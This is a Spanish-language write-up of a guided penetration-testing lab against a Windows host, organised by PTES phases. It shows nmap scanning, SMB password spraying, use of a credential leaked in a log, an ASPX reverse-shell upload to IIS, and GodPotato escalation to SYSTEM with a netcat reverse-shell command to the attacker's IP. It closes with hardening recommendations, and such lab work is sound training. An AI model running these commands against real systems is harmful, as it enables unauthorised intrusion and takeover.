Laboratorio Guiado - 00-simple

Objetivo: Aplicar las fases establecidas en la metodología **PTES (Penetration Testing Execution Standard)** para simular un test de penetración completo sobre un entorno Windows. Este ejercicio tiene como propósito desarrollar habilidades prácticas en recolección de información, análisis de servicios expuestos, explotación de vectores de ataque —principalmente vía SMB y web— y escalada de privilegios. Todo esto dentro de un escenario controlado que emula una infraestructura corporativa realista.
(Enlace a la máquina)

---

1. Pre-engagement

Omitido: esta fase no es aplicable en el contexto de un laboratorio técnico aislado.

---

2. Intelligence Gathering

Enumeración de puertos abiertos

Se realizó un escaneo completo de puertos TCP utilizando **Nmap**, aplicando técnicas de escaneo SYN (`-sS`), velocidad alta (`--min-rate 5000`) y sin resolución de nombres ni ping previo (`-n -Pn`) para una mayor eficiencia:

```
› sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts
192.168.1.16
```

Puertos identificados:

```
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664-49668, 49675/tcp open  unknown
```

Los servicios detectados sugieren una máquina Windows con funciones de red habilitadas, incluyendo SMB, RPC, HTTP y WinRM. La presencia de puertos altos abiertos indica uso de **RPC dinámico**.

Detección de versiones y scripts

Se ejecutó un segundo escaneo con Nmap para identificar versiones de servicios y recolectar información adicional mediante scripts NSE:

```
› nmap -sCV -p 80,135,139,445,5985,47001,49664-49668,49675 -oN
02-targeted.txt 192.168.1.16
```

Hallazgos clave:

- **80/tcp**: Servicio web **Microsoft IIS/10.0** con el encabezado `Microsoft-IIS/10.0`.
    - **Métodos HTTP habilitados**: Se detecta el método `TRACE`, considerado inseguro.
    - **Título del sitio**: “Simple”.
- **445/tcp**: Servicio **SMB (microsoft-ds)** accesible.
- **5985/47001/tcp**: Servicios **WinRM** activos mediante HTTPAPI/2.0.
- **4966x/tcp**: Puertos de **MSRPC dinámico**, probablemente relacionados con **DCOM o RPCSS**.
- **Información adicional**:
    - `smb2-security-mode`: *Signing* habilitado pero no requerido.
    - Nombre NetBIOS de la máquina: `SIMPLE`.

El conjunto de servicios confirma que se trata de un sistema **Windows Server**.

---

3. Threat Modeling

Con base en los servicios expuestos, se identifican los siguientes vectores de ataque:

- **SMB (139/445):** Vía común para enumeración de usuarios, ataques de fuerza bruta y acceso a recursos compartidos.
- **HTTP (80):** Posible vector web mediante IIS 10.0, con el método `TRACE` habilitado. Riesgo potencial de carga de archivos maliciosos.
- **WinRM (5985/47001):** Si se obtienen credenciales válidas, permite **ejecución remota de comandos (RCE)**.
- **MSRPC dinámico (4966x):** Accesible desde el exterior; se puede explotar para escalada de privilegios mediante técnicas como **GodPotato**.

---

4. Vulnerability Analysis

Enumeración de usuarios

En el sitio web se muestra un mensaje de agradecimiento que menciona varios nombres. Se extraen como posibles nombres de usuario válidos:

```
❯ cat users.txt
ruy
marcos
lander
bogo
vaiper
```

Fuerza bruta SMB

Se intenta un ataque con credenciales débiles, utilizando el mismo nombre para el usuario y la contraseña (usuario:usuario):

```
❯ crackmapexec smb 192.168.1.16 -u users.txt -p users.txt
```

Resultado exitoso:

```
[+] Simple\bogo : bogo
```

Enumeración de recursos compartidos

Con las credenciales obtenidas (`bogo:bogo`), se listan los recursos SMB accesibles:

```
❯ smbclient -L //192.168.1.16/ -U bogo

Sharename       Type      Comment
LOGS            Disk
WEB             Disk
```

Acceso a LOGS y descubrimiento de credenciales

Nos conectamos al recurso `LOGS` y descargamos el archivo:

```
❯ smbclient //192.168.1.16/LOGS -U bogo
smb: \> get 20231008.log
```

Revisando el contenido, encontramos en la línea 32 un comando `net use` con credenciales en texto claro:

```
net use \\127.0.0.1\WEB /user:marcos SuperPassword
```

Credenciales descubiertas: `marcos : SuperPassword`

---

5. Exploitation

Acceso con el usuario marcos

Usamos las credenciales para acceder al recurso `WEB`:

```
❯ smbclient //192.168.1.16/WEB -U marcos
Password: SuperPassword
```

Verificamos permisos de escritura:

```
smb: \> put test.txt
putting file file.txt as \file.txt (0,0 kb/s) (average 0,0 kb/s)
```

Ejecución de shell remota

Se genera una reverse shell en formato **ASPX**, configurando nuestra IP y puerto de escucha. Se utilizó el recurso:
https://jiveturkey.rocks/tactics/2021/09/21/asp-reverse-shell.html

Subimos el archivo malicioso:

```
smb: \> put pwned.aspx
```

Ejecutamos el listener:

```
❯ ncat -nlvp 1234
```

Accedemos a la shell a través del navegador:

```
http://192.168.1.16/pwned.aspx
```

Acceso obtenido como:

```
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.16:49672.
Spawn Shell...
Microsoft Windows [Versi▯n 10.0.17763.107]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.

c:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
```

6. Post-Exploitation

Transferencia de herramientas

Se cargan las siguientes herramientas al sistema comprometido:

```
smb: \> put nc.exe
smb: \> put GodPotato-NET4.exe
```

Escalada de privilegios con GodPotato

Se ejecuta el binario `GodPotato-NET4.exe` para explotar una vulnerabilidad en DCOM y obtener privilegios de SYSTEM:

```
GodPotato-NET4.exe -cmd "cmd /c whoami"
```

Resultado:
`nt authority\system`

Se establece una nueva shell como SYSTEM:

```
› ncat -nlvp 4321
```

```
GodPotato-NET4.exe -cmd "./nc.exe -e cmd 192.168.1.5 4321"
```

Sesión remota recibida con privilegios elevados.

---

7. Reporting

Elemento	Detalle
Sistema operativo	Windows Server
Servicios vulnerables	SMB, IIS (Web Upload), RPC
Usuario inicial	`bogo` (SMB - credencial débil)
Movimiento lateral	Acceso como `marcos` (credencial filtrada)
Ejecución remota (RCE)	Reverse shell en IIS (ASPX)
Escalada de privilegios	SYSTEM mediante GodPotato

Flags obtenidas:

- **User**: `c:\Users\marcos\Desktop\user.txt`
- **Root**: `c:\Users\Administrador\Desktop\root.txt`

---

8. Recomendaciones

- Deshabilitar el método HTTP TRACE en IIS.
- Limitar o eliminar el acceso a recursos SMB innecesarios.
- Evitar registrar credenciales en texto plano en archivos de log.
- Implementar **MFA** y políticas de contraseñas robustas.
- Establecer permisos mínimos necesarios sobre carpetas compartidas.
- Monitorear continuamente los servicios web y el tráfico WinRM.
- Aplicar medidas de hardening a servicios como RPC y DCOM.
- Mantener el sistema operativo y servicios actualizados con los últimos parches de seguridad.